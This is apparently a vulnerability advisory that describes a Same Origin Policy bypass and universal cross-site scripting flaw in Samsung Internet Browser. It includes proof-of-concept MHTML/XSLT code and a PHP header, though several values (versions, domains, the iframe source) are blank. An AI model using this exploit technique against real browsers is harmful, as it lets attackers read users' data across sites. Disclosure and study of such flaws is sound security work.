Samsung Internet Browser SOP Bypass / UXSS

Samsung Internet Browser version allows remote attackers to bypass the Same Origin Policy and obtain sensitive information via crafted JavaScript code.

MD5 | b1ce454efa3a1fa02567e32b162d80b7


Samsung Internet Browser SOP Bypass/UXSS

There is a Same Origin Policy bypass / Universal Cross Site Scripting issue in Samsung Internet Browser (tested on latest version -

First of all, using the combination of MHTML and XSLT ends up resulting in a weird interaction. When you create an empty Iframe via MHTML and give a normal header and combine MHTML with XSLT, the browser renders them and confuse as its origin is from a pre-instantiated empty iframe. I hosted a quick Proof-Of-Concept page to test this vulnerability, please have a test on latest Samsung Internet browser (version -

I attached a POC image below to show that Samsung Internet Browser says its origin is and document.domain returns while in reality we are in my test host domain.

Following is Proof Of Concept code, you need to upload .mht and .php file. When you visit .php file the exploit runs successfully and bypasses Same Origin Policy to achieve UXSS.

test.mht file content:

MIME-Version: 1.0
Content-Type: multipart/related;

Content-Type: application/xml;

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xml" href="#stylesheet"?>
<!DOCTYPE catalog [
<!ATTLIST xsl:stylesheet
<xsl:stylesheet id="stylesheet" xmlns:xsl="">
<xsl:template match="*">
<html><iframe style="display:none" src=""></iframe></html>

Content-Type: text/html

<script>alert('lol \n\n' + 'document.domain: \n' + document.domain)</script>

test.php file content:

header( "Content-type: multipart/related");

Related Posts